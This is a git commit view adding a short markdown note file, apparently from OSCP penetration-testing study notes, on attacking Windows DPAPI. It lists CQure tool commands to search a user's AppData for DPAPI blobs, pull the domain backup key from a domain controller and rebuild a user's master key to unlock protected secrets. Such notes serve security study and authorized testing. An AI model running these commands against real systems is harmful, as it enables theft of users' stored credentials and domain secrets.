julle/oscp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

first commit

Browse Source
This commit is contained in:
julle
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Necronomicon/Windows/DPAPI.md
+9
View File
@@ -0,0 +1,9 @@
- CQure
- Search for DPAPI blob - note mkguid
- `CQDPAPIBlobSearcher.exe /d C:\Users\chajoh\AppData\Roaming /r /o C:\Windows\Temp\Blob`
- Re-build master key with arbitrary password using domain backup key
- `CQMasterKeyAD.exe /file "C:\Users\chajoh\AppData\Roaming\Microsoft\Protect\<SID>\<mkguid>" /pfx backupKey.pfx /newhash <NTLM hash of arbitrary password>`
- NOTE: CQMasterKeyAD.exe assumes the pfx file is packed with passphrase "cqure"; if it is not, repack it accordingly (see Mimikatz section)
- Extract domain backup key from DC (requires Domain Admin)
- `CQLsassSecretsDumper.exe /file backupKey.pfx`
- Note: PFX is packed with passphrase "cqure"